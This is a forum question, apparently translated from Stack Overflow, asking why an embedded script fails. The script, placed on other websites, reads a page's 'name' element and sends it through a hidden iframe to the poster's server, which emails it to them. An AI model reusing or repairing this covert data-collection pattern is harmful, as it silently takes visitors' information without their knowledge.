iframe未加载

时间:2018-09-17 01:03:22

标签: javascript iframe getelementbyid createelement

过去一个小时,我一直在看这段代码。此代码有什么问题?

http://mywesbite.com/myscript.js

的内容
var ifr = document.createElement("iframe");
var user = document.getElementById("name").innerHTML;
ifr.src = "http://mywebsite.com/script.php?given_name=" + user;
ifr.style.visibility = "hidden";
document.body.appendChild(ifr);

http://mywebsite.com/script.php

的内容
<?php
$username = $_GET['given_name'];
mail("myemail@mywebsite.com", "Someone visited your site!", "Name: ".$username);
?>

我将我的JavaScript嵌入到其他网站上。它提取name元素。我如何嵌入我的JavaScript:

<script type="text/javascript" src="http://mywesbite.com/myscript.js"></script>

即使name提取失败,它仍应使用空字符串访问我的网站。但是,它根本无法访问我的网站,因为我没有收到任何电子邮件。但是,如果我只是访问http://mywebsite.com/script.php,它会向我发送任何电子邮件(只是$username是空的。因此它不是我的script.php。javascript无法正常工作。

0 个答案:

没有答案